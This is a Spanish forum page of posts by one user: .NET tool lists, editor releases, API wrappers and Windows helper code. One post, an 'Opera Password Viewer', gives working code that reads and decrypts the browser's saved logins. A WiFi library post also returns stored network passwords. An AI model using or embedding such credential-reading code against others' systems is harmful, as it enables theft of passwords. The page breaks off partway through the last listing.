Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - fudmario

#1




Todos tienen lista de Herramientas/Recursos que son indispensables, que ahorran tiempo y se integran perfectamente al momento de programar. aquí les dejo la mía.
En esta lista de Herramientas algunas herramientas son gratuitas y otras de pago, antes de comenzar con la lista daremos una breve introducción.




       
  • INTRODUCCIÓN



Cita de: velneo.es.NET Framework se usa principalmente para crear aplicaciones para móviles, web y de escritorio para ejecutar en servidores, PCs y Dispositivos Windows

Luego tenemos el entorno .NET Core que es una plataforma modular para crear aplicaciones en el lado servidor para ejecutar en Windows, Linux y Mac.

Y por último está Mono, que es una implementación libre de la plataforma de desarrollo .NET para dispositivos Android, iOS y GNU/Linux y que permite reutilizar código y da acceso a APIs nativas.


       
  • Aprende a programar en .NET: Aun no decides descargar nada y quieres probar  sobre .NET  y C#  de manera Online. Prueba con esta Web:  No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

       
  • Documentación: Encontraras guías de inicio rápido, tutoriales, referencia de API y ejemplos de código ->No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Existen varios cursos, libros(gratuitos y de pago) donde pueden aprender, sin embargo la mejor forma de iniciar es elegir una idea para un proyecto y empezar a desarrollarlo, cuando tengas dudas, pasar por los foros y preguntar o buscar(gran parte de esas dudas que tengas quizás ya estén resueltas).



       
  • Entorno de Desarrollo Integrado (IDE).



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Es un Entorno de Desarrollo Integrado (IDE) para el diseño de aplicaciones y servicios para sistemas operativos Windows. Se pueden programar en numerosas sintaxis: C++, C#, Visual Basic .NET, Python, Ruby, PHP o Java. También en entornos de desarrollo web como ASP. NET MVC (Modelo Vista Controlador) o Django. La idea es que con Visual Studio se puedan desarrollar todo tipo de aplicaciones móviles, servicios web y páginas web en diferentes plataformas: Windows, Android e iOS

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Este Entorno de Desarrollo Integrado posibilita a los desarrolladores de aplicaciones .NET crear proyectos con Visual Studio tanto para Linux como para Mac OS X, con una única base de código estándar para todas las plataformas.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Entorno de Desarrollo Integrado de código abierto que permite el desarrollo de aplicaciones para Windows.




       
  • HERRAMIENTAS Y RECURSOS:



No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Es un administrador de paquetes para .NET que le permite tener acceso a varias Librerias de terceros, o para crear y compartir sus propias herramientas.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Se trata de una herramienta esencial que ofrece acceso rápido a las extensiones, controles y plantillas de Visual Studio.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Es una utilidad de software dirigida al desarrollo de .NET Framework. Se utiliza para consultar de forma interactiva las bases de datos SQL mediante LINQ, así como para escribir código C # interactivamente sin la necesidad de un IDE.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Es un Decompilador y un analizador estático para .NET Framework. Le ayuda a comprender y depurar su código .NET, incluidos los componentes de terceros, incluso si no tiene ninguna documentación o comentarios.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Puede descompilar de forma fiable cualquier ensamblado .NET en código C# o IL equivalente. El Decompiler admite varios formatos, como bibliotecas (. dll), ejecutables (. exe) y archivos de metadatos de Windows (. winmd).

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Esta es una extensión de Visual Studio por JetBrains. ReSharper añade la potencia para analizar la calidad del código, a continuación, para encontrar y corregir los errores rápidamente. También tiene una serie de accesos directos para la refactorización rápida y fácil y la navegación.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Extensión de Visual Studio para el análisis de código estático. La herramienta le ayuda a medir la calidad del código utilizando varias métricas, para visualizar su diseño y para estimar con exactitud su profundidad técnica, justo dentro del IDE.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta Esta extensión conecta el IDE directamente a los repositorios de GitHub. Esto significa que puede crear, clonar y publicar sus proyectos, y crear o ver solicitudes de extracción directamente en Visual Studio.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Hace que sea más fácil ver lo que está pasando con código complejo, por lo que puede avanzar y pasar menos tiempo vagando y preguntando. ¿Por qué el valor de esa expresión es diferente de lo que esperas? ¿Cuándo cambió el local? ¿Cuántas veces hemos pasado por este bucle? El visualizador de depuración de CodeRush responde instantáneamente a estas preguntas y más.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: es una poderosa herramienta para encontrar fugas de memoria y optimizar el uso de memoria en programas escritos en C#, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta o cualquier otro lenguaje .NET.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: es una extensión de Visual Studio de código abierto para limpiar y simplificar nuestros códigos C#, C++, F #, VB, PHP, PowerShell, R, JSON, XAML, XML, ASP, HTML, CSS, LESS, SCSS, JavaScript y TypeScript.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Un complemento de depuración increíble para Visual Studio!

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Es una extensión de Visual Studio para desarrolladores que necesitan generar comentarios XML desde el código fuente usando plantillas personalizables, mantener la documentación limpia y actualizada, producir documentación de ayuda en múltiples formatos, usar el código fuente inteligente Spell Checker en Visual Studio, y más.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Web para Convertir XML en una Clase XmlSerializer, compatible con CSharp.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: es un sitio para generar clases de C#, No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, JavaScript, Java y PHP a partir de JSON.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Sitio web que convierte códigos de C# a VB y VB a C#.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Realiza pruebas unitarias automatizadas para .NET. Los ejecuta en paralelo y automáticamente, insertando los resultados en línea dentro de Visual Studio. ¿Está familiarizado con la integración continua? Conozca las pruebas continuas.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta:  es un editor de Markdown con todas las funciones para Windows.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Depuración web gratuito para cualquier navegador, sistema o plataforma

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Realiza peticiones HTTP (GET, POST, DELETE, UPDATE...) a una dirección de nuestro interés. Esto es de gran utilidad a la hora de interactuar con APIs Web e, incluso, para testear nuestros propios desarrollos.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta: Otro link de Interes en donde pueden encontrar una colección de increíbles bibliotecas, herramientas, frameworks y software para .NET.





Bueno esos es todo, espero que esta lista de herramientas/recursos les sirvan.
Si quieren compartir en otros lados no olviden de respetar al autor y la fuente.Saludos.
#2



Buenas a todos, les comento, hace poco me dejaron un portatil viejo para que lo actualice a Win10 y el problema viene al usar el Wifi.


Cuando activo el Wifi se desconfigura el teclado, es decir que al presionar el boton de "Espacio" me retorna " .-M" y al presionar el boton Retroceso o Backspace retorna "{{h", pero solo son 2 o 3 teclas las que se desconfigura el resto funciona correctamente.


¿A alguien le ha pasado algo similar?, ¿Es problema del teclado?, por que conecte otro teclado y me funciona correctamente usando Wifi.
#3
Otros lenguajes / Cramel Editor v1.0 by fudmario
Octubre 01, 2017, 08:21:26 PM
Hola a todos aquí les dejo una versión actualizada del editor de Cramel, compatible con la nueva versión.


Nuevas Mejoras:



       
  • Esta version es compatible con la nueva version que se encuentra disponible en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
  • Mejoras internas para un fácil manejo.
  • Consultas con el archivo de ayuda de forma más sencilla y una acceso directo con temas básicos para comenzar a aprender sobre Cramel.
  • Comprobación de Actualización de las nuevas actualizaciones de Cramel.
  • Tambien puedes descargar desde la misma aplicación las nuevas versiones de Cramel.
  • Soporte de arrastrar y soltar
  • Re-diseñado de la interfaz
Lista de Atajos Disponibles:


       
  • Ctrl+Shift+U => Texto Seleccionado a Mayuscula
  • Ctrl+U => Texto seleccionado a minuscula
  • Ctrl+D => Duplicar Linea
  • Ctr+Shift+T => Copiar Linea
  • Ctrl+A => Seleccionar Todo
  • Ctrl+V => Pegar
  • Ctrl+C => Copiar
  • Ctrl+X => Cortar
  • Ctrl+B => Compilar Archivo
  • Ctrl+E => Compilar y Ejecutar Archivo
  • Ctrl+G => Ver la Definición
Configurar ruta del Compilador:

       
  • Ir a: Configuraciones -> Opciones
  • Establecer la Directorio donde se encuentra el Compilador.
  • Si instalaste usando el Compilador simplemente le das a "Auto detectar Cramel".
  • Si tu versión de cramel se encuentra en otro directorio, seleccionas en Ruta del Compilado para configurar la ruta del compilador.
CAPTURAS:
Descarga(Versión Portable): No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: Cramel
Requerimientos: .NetFramework v4.5.1
#4



Aquí les dejo esta implementación que hice  en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de la API de Sendspace, para su uso deben registrarse en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta y generar su ApiKey en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta



Ejemplo de uso:

Código: vbnet

Dim filePath As String = "C:\Compress\MoveControl.zip"
Dim sendspaceclient As New Sendspace.SendspaceClient("YourApiKey")
Dim ssService As New Sendspace.SendspaceService(sendspaceclient)
' De manera Sincronica
'Dim result As Sendspace.SendspaceResponse = ssService.UploadFile(filePath)
' De manera Asincronica
Dim result As Sendspace.SendspaceResponse = Await ssService.UploadFileAsync(filePath)
  MessageBox.Show(result.ToString())


Retorna:

Código: php

Status.......: ok
File ID......: u9km31
File Name....: MoveControl.zip
Download Url.: https://www.sendspace.com/file/u9km31
Delete Url...: https://www.sendspace.com/delete/u9km31/5bb0402796182faa626e3aa7593137c7



El código fuente lo pueden descargar desde: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
La libreria Compilada la pueden descargar Aquí: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
#5
Una simple funcion para obtener el nombre del Sistema Operativo.
Código: text

Importar "Cramel.cml"
API RegOpenKeyEx(hKey:Entero,lpSubKey:Cadena,ulOptions,samDesired:Entero,Referencia phkResult:Entero):Entero, "Advapi32.dll" "RegOpenKeyExA"
API RegQueryValueEx(hKey:Entero,lpValueName:Cadena,lpReserved:Entero,Referencia lpType:Entero,Referencia lpData:Cadena,Referencia lpcbData:Entero):Entero, "Advapi32.dll" "RegQueryValueExA"
API RegCloseKey(hKey:Entero):Entero, "Advapi32.dll"
'=> Obtiene Nombre del Sistema Operativo
'=> Retorna Cadena
Proc SistemaOperativo():Cadena
Var SubKey, ValueName, CadenaFinal:Cadena
Var Result,ret,Data,Tipo,resData:Entero
Result = &80000002 'HKLM
SubKey = "SOFTWARE\Microsoft\Windows NT\CurrentVersion"
ValueName =  "ProductName"
ret = RegOpenKeyEx(Result, SubKey, 0, &20019, Result)
Si ret<> &0 Entonces Devolver "Desconocido"
ret = RegQueryValueEx(Result, ValueName, 0, 0, CadenaFinal, Data) 
CadenaFinal = RepCarac(0, Data)
ret = RegQueryValueEx(Result, ValueName, 0,  0, CadenaFinal, Data) 
Devolver CadenaFinal
RegCloseKey(Result)
FinProc

Mensaje(SistemaOperativo())

#6
Cramel Editor v0.1


Hola a todos, aqui les dejo este editor de texto para Cramel, es bastante simple y aun esta en fase de desarrollo razon por la cual no dispone de muchas funciones.




Agradeceria cualquier tipo de sugerencia y/o caracteristica para implementar a este Editor.

Estaba pensando agregar Intellisense(pero varias de las librerias no estan documentadas o no tiene algun patron para detectarlas) para poder detectar todas las librerias y agregar un sistema de auto-complentado.


Capturas:








Configurar ruta del Compilador:

       
  • Ir a: Configuraciones -> Compilador
  • Establecer la Directorio donde se encuentra el Compilador.
Citar
Requiere: NetFramework 4.5
NUEVA VERSION=>>No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
ACTUALIZADO:(02/03/2017)


Descarga: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Contraseña: cramel
Comprimido: RAR5




Código: php

ACTUALIZACION #2
[+] Añadido: Teclas de Acceso Rápido.
[+] Reparado: Error en log de Compilación.
[+] Actualización: Modificaciones Internas.

ACTUALIZACION #1
[+] Reparado el error al crear un nuevo Fichero.
[+] Reparado un error en las Opciones para compilar.
[+] Actualizado el Diseño de la Interfaz(iconos..xD)



LINKS ANTIGUOS:




#7

Estaba leyendo este post (No tienes permitido ver los links. Registrarse o Entrar a mi cuenta), así que me parecio interesante y decidi implementarlo en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Esta libreria solo fué probada en: WINDOWS 10 PRO (x64), solo funciona para versiones mayores a Windows Vista.
Cualquier error o sugerencia para mejorar el Código, enviar un MP o por SKYPE o Comentar...




Ejemplo de Uso:

Agregar Referencia a la Libreria e Importar:

Código: vbnet

Imports System.Net.NetworkInformation
Imports System.Text
Imports WifiHelper
Imports WifiHelper.Types


Obtener la Lista de Adaptadores WiFi Disponibles:
Código: vbnet

Dim sb As New StringBuilder()
For Each ni As NetworkInterface In Wifi.GetWlanInterfaces()
sb.AppendLine("Name........: " & ni.name)
sb.AppendLine("Description.: " & ni.Description)
sb.AppendLine("Guid........: " & ni.Id)
sb.AppendLine("+++++++++++++++++++++++++++++++++++++++++++++")
sb.AppendLine()
Next
    Messagebox.Show(sb.ToString())


Retorna:
Código: php

Name........: Wi-Fi 2
Description.: 802.11n USB Wireless LAN Card
Guid........: {59FB677D-E975-4AD8-B420-0A51F490FFE7}
+++++++++++++++++++++++++++++++++++++++++++++

Name........: Wi-Fi
Description.: Ralink RT5390R 802.11bgn Wi-Fi Adapter
Guid........: {FDDB1266-7176-45CD-AC21-E56737E036A4}
+++++++++++++++++++++++++++++++++++++++++++++


' Obtener la NetworkInterface mediante la Descripción  del Adaptador:

Código: vbnet
Dim ni As NetworkInterface = Wifi.GetInterfaceFrom("Ralink RT5390R 802.11bgn Wi-Fi Adapter")


Código: vbnet

' Obtener Los Profiles disponibles
Dim profiles As IEnumerable(Of WlanProfileInfo) = Wifi.GetProfiles(nic).ToList()
If Not IsNothing(profiles) Then
'Obtener el Número de profiles disponibles
Messagebox.Show(profiles.Count())

' Obtener los Nombres de los SSID Disponibles
For Each b as WlanProfileInfo in profiles
MessageBox.Show(b.profileName)
Next
End If


Código: vbnet

' Obtener Información de un Profile
Dim res As WifiProfile = Wifi.GetProfileData("Claro", nic)
Dim sb As new StringBuilder()
sb.AppendLine("SSID.......: "  & res.SsidName)
sb.AppendLine("Password..: "  & res.Password)
Messagebox.Show(sb.ToString())

Messagebox.Show(res.ToString())


Retorna:
Código: php

Name...................: Claro
SSID...................: Claro
Connection Type........: ESS
Connection Mode........: auto
Authentication.........: WPA2PSK
Encryption.............: AES
Key Type...............: passPhrase
Is Protect?............: False
Password...............: 0987654321






Descargar Código Fuente: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Descargar Libreria Compilada:No tienes permitido ver los links. Registrarse o Entrar a mi cuenta





#8
C# - VB.NET / [VB.NET] NativeOsVersion
Enero 12, 2017, 08:00:25 PM
Alternativa a No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, para aplicaciones que no se han manifestado para Windows 8.1 o Windows 10.
Código: vbnet

    <DllImport("Ntdll.dll", CharSet:=CharSet.Unicode, ExactSpelling:=True)>
    Friend Shared Function RtlGetVersion(<[In], Out> ByVal osversion As RtlOsVersionInfoExW) As Integer
    End Function

    <StructLayout(LayoutKind.Sequential)>
    Public Class RtlOsVersionInfoExW
        Public dwOSVersionInfoSize As UInt32
        Public dwMajorVersion As UInt32
        Public dwMinorVersion As UInt32
        Public dwBuildNumber As UInt32
        Public dwPlataformId As UInt32
        <MarshalAs(UnmanagedType.ByValTStr, SizeConst:=128)> Public szCSDVersion As String
        Public wServicePackMajor As UInt16
        Public wServicePackMinor As UInt16
        Public wSuiteMask As UInt16
        Public bProductType As Byte
        Public bReserved As Byte
    End Class

    Public Function NativeOsVersion() As Version
        Dim osVersionInfo As New RtlOsVersionInfoExW()
        osVersionInfo.dwOSVersionInfoSize = Marshal.SizeOf(GetType(RtlOsVersionInfoExW))
        Dim status As Integer = RtlGetVersion(osVersionInfo)
        If status <> 0 Then
            ' Throw New Win32Exception(RtlNtStatusToDosError(status))
            Return Environment.OSVersion.Version
        End If

        Return New Version(osVersionInfo.dwMajorVersion,
                           osVersionInfo.dwMinorVersion,
                           osVersionInfo.dwBuildNumber)
    End Function
#9
C# - VB.NET / [VB.NET] WindowsSecurityCenter by fudmario
Diciembre 22, 2016, 02:19:20 PM



Implementacion de Windows Security Center (WSC) en No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, cualquier error o sugerencia enviarlo por MP o Skype...



Ejemplo de Uso:
Código: vbnet

        Dim avsStatus As WindowsSecurityCenter.WscSecurityProviderHealth = WindowsSecurityCenter.GetStatusOfSecurityProvider(WindowsSecurityCenter.WscSecurityProvider.WscSecurityProviderAntivirus)
        Select Case avsStatus
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthGood
                MessageBox.Show("El estado del proveedor de seguridad es bueno y no necesita atención del usuario.")
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthPoor
                MessageBox.Show("El estado del proveedor de seguridad es deficiente y el equipo puede estar en riesgo.")
            Case WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthSnooze
                MessageBox.Show("El proveedor de seguridad está en estado suspendido. Snooze indica que WSC no está protegiendo activamente la computadora.")
        End Select
        Dim uacStatus As WindowsSecurityCenter.WscSecurityProviderHealth = WindowsSecurityCenter.GetStatusOfSecurityProvider(WindowsSecurityCenter.WscSecurityProvider.WscSecurityProviderUserAccountControl)
        If uacStatus = WindowsSecurityCenter.WscSecurityProviderHealth.WscSecurityProviderHealthPoor Then
            MessageBox.Show("El UAC se encuentra desactivado....")
        End If




Código: vbnet

' ***********************************************************************
' Assembly         : WinControl
' Author           : fudmario
' Created          : 12-21-2016
'
' Last Modified By : fudmario
' Last Modified On : 12-21-2016
' ***********************************************************************
' <copyright file="WindowsSecurityCenter.vb" company="DeveloperTeam">
'     Copyright ©  2016
' </copyright>
' <summary></summary>
' ***********************************************************************
Imports System.Runtime.InteropServices
Public NotInheritable Class WindowsSecurityCenter
    <DebuggerNonUserCode>
    Private Sub New()
    End Sub
    ''' <summary>
    ''' Defines all the services that are monitored by Windows Security Center (WSC).
    ''' </summary>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432509(v=vs.85).aspx"/>
    ''' </remarks>
    <Flags>
    Public Enum WscSecurityProvider As Integer
        ''' <summary>
        ''' The aggregation of all firewalls for this computer.
        ''' </summary>
        WscSecurityProviderFirewall = 1
        ''' <summary>
        ''' The automatic update settings for this computer.
        ''' </summary>
        WscSecurityProviderAutoupdateSettings = 2
        ''' <summary>
        ''' The aggregation of all antivirus products for this computer.
        ''' </summary>
        WscSecurityProviderAntivirus = 4
        ''' <summary>
        ''' The aggregation of all anti-spyware products for this computer.
        ''' </summary>
        WscSecurityProviderAntispyware = 8
        ''' <summary>
        ''' The settings that restrict the access of web sites in each of the Internet zones for this computer.
        ''' </summary>
        WscSecurityProviderInternetSettings = 16
        ''' <summary>
        ''' The User Account Control (UAC) settings for this computer.
        ''' </summary>
        WscSecurityProviderUserAccountControl = 32
        ''' <summary>
        ''' The running state of the WSC service on this computer.
        ''' </summary>
        WscSecurityProviderService = 64
        ''' <summary>
        ''' None of the items that WSC monitors.
        ''' </summary>
        WscSecurityProviderNone = 0
        ''' <summary>
        ''' All of the items that the WSC monitors.
        ''' </summary>
        WscSecurityProviderAll =
            WscSecurityProviderFirewall Or WscSecurityProviderAutoupdateSettings Or WscSecurityProviderAntivirus Or
            WscSecurityProviderAntispyware Or WscSecurityProviderInternetSettings Or
            WscSecurityProviderUserAccountControl Or
            WscSecurityProviderService Or WscSecurityProviderNone
    End Enum

    ''' <summary>
    ''' Defines the possible states for any service monitored by Windows Security Center (WSC).
    ''' </summary>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432510(v=vs.85).aspx"/>
    ''' </remarks>
    <Flags>
    Public Enum WscSecurityProviderHealth As Integer
        ''' <summary>
        ''' The status of the security provider category is good and does not need user attention.
        ''' </summary>
        WscSecurityProviderHealthGood
        ''' <summary>
        ''' The status of the security provider category is not monitored by WSC.
        ''' </summary>
        WscSecurityProviderHealthNotmonitored
        ''' <summary>
        ''' The status of the security provider category is poor and the computer may be at risk.
        ''' </summary>
        WscSecurityProviderHealthPoor
        ''' <summary>
        ''' The security provider category is in snooze state. Snooze indicates that WSC is not actively protecting the computer.
        ''' </summary>
        WscSecurityProviderHealthSnooze
        ''' <summary>
        ''' The status of the security provider category is unknown
        ''' </summary>
        WscSecurityProviderHealthUnknown
    End Enum

    ''' <summary>
    ''' Gets the aggregate health state of the security provider categories represented by the specified <see cref="WscSecurityProvider"/> enumeration values.
    ''' </summary>
    ''' <param name="providers ">One or more of the values in the <see cref="WscSecurityProvider"/> enumeration. To specify more than one value, combine the individual values by performing a bitwise OR operation.</param>
    ''' <param name="pHealth ">A pointer to a variable that takes the value of one of the members of the <see cref="WscSecurityProviderHealth"/> enumeration. If more than one provider is specified in the Providers parameter, the value of this parameter is the health of the least healthy of the specified provider categories.</param>
    ''' <returns>Returns S_OK if the function succeeds, otherwise returns an error code. If the WSC service is not running, the return value is always S_FALSE and the pHealth out parameter is always set to WSC_SECURITY_PROVIDER_HEALTH_POOR.</returns>
    ''' <remarks>
    ''' <see href="https://msdn.microsoft.com/en-us/library/bb432506(v=vs.85).aspx"/>
    ''' </remarks>
    <DllImport("wscapi.dll")>
    Private Shared Function WscGetSecurityProviderHealth(<[In]> providers As WscSecurityProvider,
                                                         <Out> ByRef pHealth As WscSecurityProviderHealth) _
        As Integer
    End Function

    ''' <summary>
    ''' Gets the status of security provider.
    ''' </summary>
    ''' <param name="provider">provider.</param>
    ''' <returns>The possible states for service monitored by Windows Security Center (WSC).</returns>
    Public Shared Function GetStatusOfSecurityProvider(provider As WscSecurityProvider) As WscSecurityProviderHealth
        Dim outValue As WscSecurityProviderHealth = WscSecurityProviderHealth.WscSecurityProviderHealthUnknown
        Dim ret As Integer = WscGetSecurityProviderHealth(provider, outValue)
        Return If(ret <> &H0, WscSecurityProviderHealth.WscSecurityProviderHealthUnknown, outValue)
    End Function
End Class

#10
C# - VB.NET / [VB.NET] Opera Password Viewer
Diciembre 07, 2016, 11:06:08 PM

Opera Test: Versión 41.0.2353.69 (WoW64)



Se necesita de la Clase SqliteHandler, la pueden copiar de No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Código: vbnet

Dim loginPath As String = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Opera Software\Opera Stable\Login Data")
Dim sb As New StringBuilder
Dim sqlDataBase As New SqLiteHandler(loginPath)
      sqlDataBase.ReadTable("logins")
Dim count As Integer = sqlDataBase.GetRowCount()
For i = 0 To count - 1
                Dim mUrl As String = sqlDataBase.GetValue(i, "origin_url")
                Dim mUserName As String = sqlDataBase.GetValue(i, "username_value")
                Dim mPassword As String = Decode(sqlDataBase.GetValue(i, "password_value"))
                sb.AppendLine("User: " & mUserName)
                sb.AppendLine("Url: " & mUrl)
                sb.AppendLine("Password: " & mPassword)
Next i

Messagebox.Show(sb.ToString)


Para decifrar las contraseñas, agregar Referencias a: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta e Importar: System.Security.Cryptography

Código: vbnet

    Private Function Decode(ByVal data As String) As String
        If String.IsNullOrEmpty(data) Then
            Return String.Empty
        Else
            Dim encryptedData As Byte() = Encoding.Default.GetBytes(data)
            Dim decryptedData As Byte() = ProtectedData.Unprotect(encryptedData, Nothing, DataProtectionScope.CurrentUser)
            Return Encoding.UTF8.GetString(decryptedData)
        End If
    End Function




SQLiteHandler Class:


Código: vbnet


' ***********************************************************************
' Assembly         : SQLiteHandler
' Author           : ??????
' Created          : ??-??-????
'' ***********************************************************************

Imports System.IO
Imports System.Runtime.InteropServices
Imports Microsoft.VisualBasic.CompilerServices
Public Class SqLiteHandler
    Private db_bytes As Byte()
    Private mEncoding As ULong
    Private field_names As String()
    Private master_table_entries As sqlite_master_entry()
    Private page_size As UShort
    Private SQLDataTypeSize As Byte() = New Byte() {0, 1, 2, 3, 4, 6, 8, 8, 0, 0}
    Private table_entries As table_entry()

    Public Sub New(baseName As String)
        If File.Exists(baseName) Then
            FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.[Shared], -1)
            Dim str As String = Strings.Space(CInt(FileSystem.LOF(1)))
            FileSystem.FileGet(1, str, -1L, False)
            FileSystem.FileClose(New Integer() {1})
            Me.db_bytes = System.Text.Encoding.Default.GetBytes(str)
            If String.Compare(System.Text.Encoding.Default.GetString(Me.db_bytes, 0, 15), "SQLite format 3", StringComparison.Ordinal) <> 0 Then
                Throw New Exception("Not a valid SQLite 3 Database File")
            End If
            If Me.db_bytes(&H34) <> 0 Then
                Throw New Exception("Auto-vacuum capable database is not supported")
            End If
            Me.page_size = CUShort(Me.ConvertToInteger(&H10, 2))
            Me.mEncoding = Me.ConvertToInteger(&H38, 4)
            If Decimal.Compare(New Decimal(Me.mEncoding), Decimal.Zero) = 0 Then
                Me.mEncoding = 1L
            End If
            Me.ReadMasterTable(100L)
        End If
    End Sub

    Private Function ConvertToInteger(startIndex As Integer, Size As Integer) As ULong
        If (Size > 8) Or (Size = 0) Then
            Return 0L
        End If
        Dim num2 As ULong = 0L
        Dim num4 As Integer = Size - 1
        For i As Integer = 0 To num4
            num2 = (num2 << 8) Or Me.db_bytes(startIndex + i)
        Next
        Return num2
    End Function

    Private Function CVL(startIndex As Integer, endIndex As Integer) As Long
        endIndex += 1
        Dim buffer As Byte() = New Byte(7) {}
        Dim num4 As Integer = endIndex - startIndex
        Dim flag As Boolean = False
        If (num4 = 0) Or (num4 > 9) Then
            Return 0L
        End If
        If num4 = 1 Then
            buffer(0) = CByte(Me.db_bytes(startIndex) And &H7F)
            Return BitConverter.ToInt64(buffer, 0)
        End If
        If num4 = 9 Then
            flag = True
        End If
        Dim num2 As Integer = 1
        Dim num3 As Integer = 7
        Dim index As Integer = 0
        If flag Then
            buffer(0) = Me.db_bytes(endIndex - 1)
            endIndex -= 1
            index = 1
        End If
        Dim num7 As Integer = startIndex
        Dim i As Integer = endIndex - 1
        While i >= num7
            If (i - 1) >= startIndex Then
                buffer(index) = CByte((CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2)) Or CByte(Me.db_bytes(i - 1) << (num3 And 7)))
                num2 += 1
                index += 1
                num3 -= 1
            ElseIf Not flag Then
                buffer(index) = CByte(CByte(Me.db_bytes(i) >> ((num2 - 1) And 7)) And (CInt(&HFF) >> num2))
            End If
            i += -1
        End While
        Return BitConverter.ToInt64(buffer, 0)
    End Function

    Public Function GetRowCount() As Integer
        Return Me.table_entries.Length
    End Function

    Public Function GetTableNames() As String()
        Dim strArray2 As String() = Nothing
        Dim index As Integer = 0
        Dim num3 As Integer = Me.master_table_entries.Length - 1
        For i As Integer = 0 To num3
            If Me.master_table_entries(i).item_type = "table" Then
                strArray2 = DirectCast(Utils.CopyArray(DirectCast(strArray2, Array), New String(index) {}), String())
                strArray2(index) = Me.master_table_entries(i).item_name
                index += 1
            End If
        Next
        Return strArray2
    End Function

    Public Function GetValue(row_num As Integer, field As Integer) As String
        If row_num >= Me.table_entries.Length Then
            Return Nothing
        End If
        If field >= Me.table_entries(row_num).content.Length Then
            Return Nothing
        End If
        Return Me.table_entries(row_num).content(field)
    End Function

    Public Function GetValue(row_num As Integer, field As String) As String
        Dim num As Integer = -1
        Dim length As Integer = Me.field_names.Length - 1
        For i As Integer = 0 To length
            If Me.field_names(i).ToLower().CompareTo(field.ToLower()) = 0 Then
                num = i
                Exit For
            End If
        Next
        If num = -1 Then
            Return Nothing
        End If
        Return Me.GetValue(row_num, num)
    End Function

    Private Function GVL(startIndex As Integer) As Integer
        If startIndex > Me.db_bytes.Length Then
            Return 0
        End If
        Dim num3 As Integer = startIndex + 8
        For i As Integer = startIndex To num3
            If i > (Me.db_bytes.Length - 1) Then
                Return 0
            End If
            If (Me.db_bytes(i) And &H80) <> &H80 Then
                Return i
            End If
        Next
        Return (startIndex + 8)
    End Function

    Private Function IsOdd(value As Long) As Boolean
        Return ((value And 1L) = 1L)
    End Function

    Private Sub ReadMasterTable(Offset As ULong)
        If Me.db_bytes(CInt(Offset)) = 13 Then
            Dim num2 As UShort = Convert.ToUInt16(Decimal.Subtract(New Decimal(Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(New Decimal(Offset), 3D)), 2)), Decimal.One))
            Dim length As Integer = 0
            If Me.master_table_entries IsNot Nothing Then
                length = Me.master_table_entries.Length
                Me.master_table_entries = DirectCast(Utils.CopyArray(DirectCast(Me.master_table_entries, Array), New sqlite_master_entry((Me.master_table_entries.Length + num2)) {}), sqlite_master_entry())
            Else
                Me.master_table_entries = New sqlite_master_entry(num2) {}
            End If
            Dim num13 As Integer = num2
            For i As Integer = 0 To num13
                Dim num As ULong = Me.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(Offset), 8D), New Decimal(i * 2))), 2)
                If Decimal.Compare(New Decimal(Offset), 100D) <> 0 Then
                    num += Offset
                End If
                Dim endIndex As Integer = Me.GVL(CInt(num))
                Dim num7 As Long = Me.CVL(CInt(num), endIndex)
                Dim num6 As Integer = Me.GVL(Convert.ToInt32(Decimal.Add(Decimal.Add(New Decimal(num), Decimal.Subtract(New Decimal(endIndex), New Decimal(num))), Decimal.One)))
